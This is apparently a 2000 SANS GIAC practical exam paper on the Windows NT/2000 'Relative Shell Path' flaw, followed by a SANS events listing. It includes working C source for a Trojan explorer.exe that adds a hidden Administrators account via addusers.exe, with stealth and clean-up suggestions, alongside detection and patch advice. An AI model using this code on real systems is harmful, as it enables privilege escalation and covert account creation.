Use offense to inform defense. Find flaws before the bad guys do.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)"
at https://pen-testing.sans.org/events/
"Relative Shell Path" Vulnerability

Practical Exam submitted for the SANS GIAC certification in Advanced Incident Handling and Hacker Exploits

Documented by Earl Ray Evans, GIAC Candidate

Submitted August 7, 2000

Exploit Details

Name

"Relative Shell Path" Vulnerability

Variants

The exploit contained in the document is a variant of the traditional “Trojan horse” mechanism, in which a bogus and potentially malevolent executable is made to masquerade as and/or launch an authentic executable. It also qualifies as a “privilege escalation” exploit, which allows a user with limited privileges to gain more privileges by exploiting a system vulnerability.

Operating System

Windows NT 4.0 and Windows 2000

Protocols/Services

This vulnerability exists via the Windows API call “CreateProcess”, and its particular usage in conjunction with invoking executables whose paths are contained in the Windows NT/2000 registry.

Brief Description

It is possible for a non-privileged user to cause Windows NT 4.0 or Windows 2000 to invoke an alternate, bogus version of explorer.exe (desktop) during logon sessions, rather than the authentic explorer.exe executable.

This means that the non-privileged user could cause anyone who logs into the machine (including a privileged user) to run the non-privileged user’s code of choice upon logon.
Protocol Description

The Windows API call “CreateProcess” invokes an executable. The way in which it locates the correct executable to invoke (the executable path) is at the heart of this vulnerability. More information on how this executable path is significant is covered subsequently in this document.

Description of variants

Trojan Horses are among the most ancient of attacker exploits. Examples include:

- Phony logon screens which record passwords for later use by an unauthorized entity.
- Replacement of legitimate system functions (such as compilers and mail applications) with malevolent code that masquerades as the “real thing”.
- “Rootkits” which contain executables that hide the fact that an attacker has compromised a system.

Trojan horses are often part of a “progressive exploit” in which a system vulnerability is used to allow the attacker to plant the malevolent Trojan code into the system. For example, in the specific case contained in this document, the vulnerability allows the attacker to replace the legitimate explorer.exe (essentially, the Windows desktop) with arbitrary code.

How the exploit works

When a Windows NT 4.0 or Windows 2000 system function calls for invocation of an executable with a relative (not fully specified) pathname, it searches a predictable set of paths to find the executable. The most likely sequence is:

1. %SystemDrive% (e.g., C:)
2. %SystemRoot%\System32 (e.g., C:\WINNT\System32)
3. %SystemRoot% (e.g., C:\WINNT)

(These paths are defaults, and may be different on some machines, depending on installation choices. Detailed information on these paths and what they represent can be found in the Microsoft references found at the end of this document.)
If an attacker somehow places an executable with the same name as a legitimate executable earlier in the search path sequence, and if the executable is invoked with a relative (not fully qualified) path name, the attacker’s executable will be invoked instead of the legitimate executable.

This requires that:

1. The attacker has read/write privileges to a directory in the search path
2. The executable is not specified with a fully qualified path name

By default, users on a machine have read/write access to a directory in the search path - the root of the system drive (e.g., C:\). Also, by default, the registry entry that calls explorer.exe (the Windows desktop) upon logon uses a relative path name (explorer.exe) rather than a fully-qualified pathname.

So, by placing a bogus executable named explorer.exe in the C:\ directory, an attacker can cause any user logging in to the machine to run the bogus explorer.exe in the logon sequence. The bogus explorer.exe might then run the real explorer.exe (to avoid suspicion), but would also perform actions to help the attacker gain further privileges on the machine.

Diagram

This exploit requires an interactive logon to the vulnerable system in order to execute the exploit. Following is a diagram showing how the exploit is performed. More details are contained in the next section, “How to use it”.

```
Attacker logs into local machine and places phony “explorer.exe” on C:\

Administrative users logs into local machine and runs phony explorer.exe without realizing it

Attacker logs into local machine and takes advantage of holes introduced by phony explorer.exe running with administrative privilege
```
How to use it

This exploit permits a non-privileged user to surreptitiously cause a privileged user to run arbitrary code under the security context of the privileged user upon logon. One good way to take advantage of this ability would be to cause code to be invoked which adds a new privileged user account to the system.

The sample exploit that I have tested and documented includes the following steps:

1. Create a bogus explorer.exe file which first invokes the authentic explorer.exe (in the \WINNT directory), but which also runs a utility (addusers.exe) to add a new, privileged user account to the system.
2. Log in interactively to the target machine as a non-privileged user.
3. Place the bogus explorer.exe, addusers.exe and the support file accounts.txt in the C: \ directory.
4. Await a privileged user to log into the machine.
5. Return to the machine and log in using the new, privileged account. Welcome to the Administrators group!

Signature of the attack

Strange files placed in the C: \ directory are a sign that something is amiss. In particular, a file named “explorer.exe” in the C: \ directory is a dead giveaway.

How to protect against it

Microsoft patches are available to fix this specific problem. See the Microsoft Bulletin and FAQ referenced later in this document for details.

Other best practices that would protect against exploits of this nature include:

1. Do not permit interactive login to critical machines such as domain controllers, servers and other infrastructure platforms. Use both physical and logical security to safeguard these platforms.
2. Change file permissions on systems as appropriate to safeguard directories.
3. Use host intrusion detection tools (such as Tripwire) to detect and alarm when changes are made to key directories.
4. Use auditing to log and discover key system changes (such as the addition of a new, privileged user account).

Source code/ Pseudo code

I have included source code that (in concert with the addusers.exe utility from the Windows 2000 Resource Kit) demonstrates how this vulnerability can be exploited. I
have successfully tested this code on a Windows 2000 Professional platform.

The bogus program explorer.exe is created from the following explorer.c source file. This was compiled with the C compiler in Microsoft Visual Studio 6.0.

**Listing of explorer.c**

```c
#include <stdio.h>
#include <process.h>

char* prog;             // Pointer to executable program string
char* args[4];          // Pointers to arguments for executable

void main ()
{
    /* Run the real explorer first */
    /* without waiting (_P_NOWAIT) before launching the */
    /* subsequent executable. This makes the exploit less */
    /* visible to the user logging in. */
    prog = "c:\winnt\explorer.exe";
    args[0] = prog;
    args[1] = NULL;
    _spawnv(_P_NOWAIT,prog, args);

    /* Run the Resoure Kit addusers.exe program */
    /* with the "/c" parameter (add users) and using the */
    /* configuration file "accounts.txt". See documentation */
    /* for the contents of accounts.txt and how they are */
    /* used to add a privileged user account */
    prog = "addusers.exe";
    args[0] = prog;
    args[1] = "/c";
    args[2] = "accounts.txt";
    args[3] = NULL;
    _execv(prog, args);  // execv exits this application after running
}
```

**explorer.c**

This explorer.exe relies on addusers.exe, a utility found in both the Windows NT 4.0 and Windows 2000 Resource Kits. (addusers.exe is not contained in the submitted exploit enclosure, as it is a licensed program from Microsoft and must be purchased as part of the Resource Kit.)

In this instance of the exploit, addusers.exe (with the “/c” option) uses the following configuration file (accounts.txt):

```
[User]
jacksprat,Jack Sprat,,,,,,,,

[Local]
Administrators,,,jacksprat
```
accounts.txt

The format of accounts.txt is fairly straightforward. This configuration file instructs addusers.exe to add a new user (jacksprat), and places that user in the local Administrators group.

Potential enhancements

This code is a proof of concept, and worked flawlessly in my laboratory environment. It could potentially be cleaned up in the following ways:

1. Anyone logging into the system will see a DOS prompt flash by as the addusers.exe utility is run. Using Windows API functions from a windowed application (with the correct “stealth” settings) instead of the addusers.exe utility might make the process less visible.
2. The utility addusers.exe and the support file could be placed in another directory to avoid suspicion.
3. A “clean-up” script could be used to delete the files after execution in order to avoid detection.

Additional Information

Microsoft has produced a security bulletin that explains this vulnerability and provides information on obtaining and installing a patch. The bulletin can be found at:

http://www.microsoft.com/technet/security/bulletin/ms00-052.asp

Microsoft has also produced a FAQ on this vulnerability that can be found at:

http://www.microsoft.com/technet/security/bulletin/fq00-052.asp

Further technical details on invocation of executables from the registry can be found in Microsoft’s TechNet article, “Registry-Invoked Programs Use Standard Search Path”, which is located at:


More information and potential exploit alternatives are provided by Alberto Aragones of The Quimeras Company. This information can be found at:

http://www.quimeras.com/secadv/ntpath.htm
# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Oslo March 2020</td>
<td>Oslo, Norway</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Seattle Spring 2020</td>
<td>Seattle, WA</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Community SANS Ottawa SEC560</td>
<td>Ottawa, ON</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Frankfurt March 2020</td>
<td>Frankfurt, Germany</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Philadelphia 2020</td>
<td>Philadelphia, PA</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>OnDemand Dedicated Recording - SEC504</td>
<td>Providence, RI</td>
<td>Mar 31, 2020 - Apr 01, 2020</td>
<td></td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td></td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Denver, CO</td>
<td>Apr 03, 2020 - Apr 24, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MD</td>
<td>Apr 14, 2020 - Apr 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MN</td>
<td>Apr 14, 2020 - Apr 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Boston Spring 2020</td>
<td>Boston, MA</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Brussels April 2020</td>
<td>Brussels, Belgium</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS London April 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Columbia SEC504 © UKI</td>
<td>Columbia, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Community SANS Nashville SEC542</td>
<td>Nashville, TN</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Bucharest May 2020</td>
<td>Bucharest, Romania</td>
<td>May 04, 2020 - May 09, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 06, 2020 - May 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Hong Kong 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Columbia SEC560 © UKI</td>
<td>Columbia, MD</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern Virginia- Alexandria 2020</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London May 2020</td>
<td>London, United Kingdom</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>